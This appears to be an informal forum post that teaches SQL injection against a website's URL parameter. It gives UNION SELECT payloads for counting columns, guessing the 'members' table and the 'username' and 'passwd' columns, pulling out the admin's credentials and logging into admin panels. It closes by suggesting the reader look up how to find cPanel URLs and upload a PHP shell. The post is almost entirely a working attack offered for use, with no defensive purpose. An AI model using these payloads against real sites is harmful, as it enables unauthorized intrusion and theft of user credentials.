Here's an example :
if it was MySQL you use /*
if it was MSSQL you use -- , and sometime you don't need to put them
example : w w w.website.com/index.php?id=1 you put [ ' ] or [ - ] before the 1 like : [ ?id=-1 ]
if an SQL error appears ( not a warning it should be an sql error ) so the website is vulnerable
you use the union select command and you keep getting up in numbers until the error is gone
example : w w w.website.com/index.php?id=-1/**/union/**/select/**/1,2,3/*
if the error is gone ==> we have 3 columns
Now you should know the name of ( users , admins .... ) tables
example :
w w w.website.com/index.php?id=-1/**/union/**/select/**/1,2,3/**/from/**/users/*
after entering the URL above you had an error ==> there isn't a table named "users"
So you keep trying until the error is gone
example : w w w.website.com/index.php?id=-1/**/union/**/select/**/1,2,3/**/from/**/members/*
Now the error is gone ==> there is a table named "members" !
now it should appears a number in the browser example "2"
so you enter this url in the browser :
w w w.website.com/index.php?id=-1/**/union/**/select/**/1,username,3/**/from/**/members/*
now per example the 2 in the browser should be replaced by "admin" ==> the user name is : admin
So now you should know the password we try this :
w w w.website.com/index.php?id=-1/**/union/**/select/**/1,password,3/**/from/**/members/*
So we got another error ==> the column that have the passwords isn't named "password"
we try another one "passwd" :
w w w.website.com/index.php?id=-1/**/union/**/select/**/1,passwd,3/**/from/**/members/*
So we got the password as 123456
No we Go to w w w.website.com/cms or w w w.website.com/panel or
www.website.com/admin etc..
with the username : admin
and password : 123456
i haven't hacked through sql injection since years, i heard that there is scripts to find the cpanel url if not founded , and ways to upload a phpshell through SQL injection , try googling :)
Best Regards.